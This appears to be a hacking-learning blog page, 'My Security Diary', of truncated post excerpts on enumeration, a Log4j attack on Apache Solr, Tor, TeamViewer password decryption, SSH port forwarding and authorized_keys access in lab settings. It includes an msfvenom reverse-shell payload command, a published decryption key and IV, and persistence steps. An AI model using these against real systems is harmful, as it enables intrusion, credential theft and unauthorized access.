My Security Diary

The first step of enumerating networks is to identify common network services. These are Telnet, SMB and FTP. First step of enumeration is to conduct a port scan using nmap. A good tool to use to enumerate networks is enum4linux. What is SMB? SMB - Server Message Block Protocol - is a client-server communication protocol used for sharing access to files, printers, serial ports and other resources on a network. [ source ] Servers make file systems and other resources (printers, named pipes, APIs) available to clients on the network. Client computers may have their own hard disks, but they also want access to the shared file systems and printers on the servers. The SMB protocol is known as a response-request protocol, meaning that it transmits multiple messages between the client and server to establish a connection. Clients connect to servers using TCP/IP (actually NetBIOS over TCP/IP as specified in RFC1001 and RFC1002), NetBEUI or IPX/SPX. How does SMB work? Once they have establ...

Hi Everyone! In this post, I'll explain the Log4j exploit, step-by-step! First, we'll start off by looking at these log files, gathered from a web application running Apache Solr: If you look carefully, there are calls made to a certain parameter in the URL of the web application. Can you spot it?  If you look carefully, you'll see that it is /admin/cores. If you're experienced with pen testing, you can probably see where this exploit is going. After doing an nmap scan on the target, we find that port 8983 is open. If you navigate to http://10.10.231.181:8983/, you'll see a page for Apache Solr that indicates that the application is running Log4j. Now, we navigate to http://10.10.231.181:8983/solr/admin/cores. You'll notice that params seems to be included in the log file.  The log4j package adds extra logic to logs by "parsing" entries, ultimately to enrich the data -- but may additionally take actions and even evaluate code based off the entry da...

This post explains three very basic things you should know about hacking. Those are Telnet, FTP, and SMB. Telnet is a client-server protocol used to test connectivity between machines and issue commands. This is very easy way to gain access to a remote computer. This is almost never installed on production machines anymore FTP (File Transfer Protocol) and SMB (Server Message Block) are tools used to store and access files. If these are installed, you can use commands associated with each tool to view files on the remote computer. Sometimes, these contain valuable information that you can use to elevate access. Telnet $  telnet <IP> <PORT> That's all there is to it :)  FTP $  ftp <IP> <PORT> - port is usually 21 - Check if ftp supports anonymous login (username: anonymous, no password) -use ls to list files, "get" to copy files to your local machine   If you get the message: 200 PORT command successful. Consider using PASV. ...

Hello Friends, Today I finally figured out something that had eluded for quite a while, and that is... the mysterious process of running TOR as a non-root user! Like many other novice hackers, I had tried to run TOR by adding a user in Kali Linux through the following CLI commands: $ useradd guest $ passwd guest $ runuser -l guest -c ./start-tor-browser.desktop Which gave me the lovely error message below: $ Tor Browser must be run within the X Window System This last output one gives us a clue: the X Window System is graphical interface, which means that we need to run this software outside the CLI (you can try downloading the xorg, but that proved to be much of a headache). To do this, go here: Log out as root and login as the user you created. The computer will load the GUI and you will now be able to run TOR as a non-root user! Please let me know if this tutorial helped you out! xoxo

Hello! Today was a good day. I learned how to exploit a privesc vulnerability in TeamViewer (version 7) which had eluded me for quite some time due to a lack of user-friendly resources available online. But today I am changing all that ;) So basically, TeamViewer 7 stores user passwords encrypted with AES-128-CBC with a key of 0602000000a400005253413100040000 and iv of 0100010067244F436E6762F25EA8D704 in the Windows registry. This means that someone can decrypt that password using that key and iv and use it elsewhere if the user in question made repeated use of their password (as users often do!) Now, the process is doing this manually is complicated but luckily for us, a Metasploit module exists to automate this for us! First. generate a payload with msfvenom like so: $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip attacker> LPORT=4444 -f exe > revshell.exe Then move the payload to the machine with PowerShell (remember to move to the file to the ...

Dear Diary, Today was a good day. I learned about a powerful new feature called Port Forwarding! Port Forwarding is a feature of SSH that allows you to redirect traffic from on a target machine to another using a specified IP and port. This is a powerful tool because it allows you to relay communication from a target machine to an external host (i.e. your computer!). All you need is: SSH Credentials The port of the resource you want to access Let's say the web server is hosted on 127.0.0.1:8443. You can use the command below to access that webserver: ssh -L 8443:127.0.0.1:8443 <username>@10.10.10.184 Where you can now execute curl commands to retrieve information on that website (without port forwarding, this would've resulted in an access denied error!) curl -k -i -u admin:<password> https://localhost:8443 

Dear Diary, Today I learned how to configure ssh to login to a remote machine without a password! So, SSH uses public key cryptography (i.e. that chapter that bored you to death in the Security+ textbook). Which means that is uses a private key and public key to create a connection (does that jog your memory?). First, type this command in the attacking computer to generate a key pair: $ ssh-keygen This will output the following: Then navigate to your /<username>/.ssh folder... And you'll see these files. id_rsa is your private key and id_rsa.pub is the public key (which is why it ends in .pub :)   Now, navigate to the /home/<username>/.ssh/ directory on the target machine and copy and paste the contents of id_rsa.pub to to the authorized_keys file. It looks something like this: Then, return your attacking box and type these commands: # ssh-add # ssh -i id_rsa <username>@<remote ip> And voila! You have just exploited authorized_keys to ...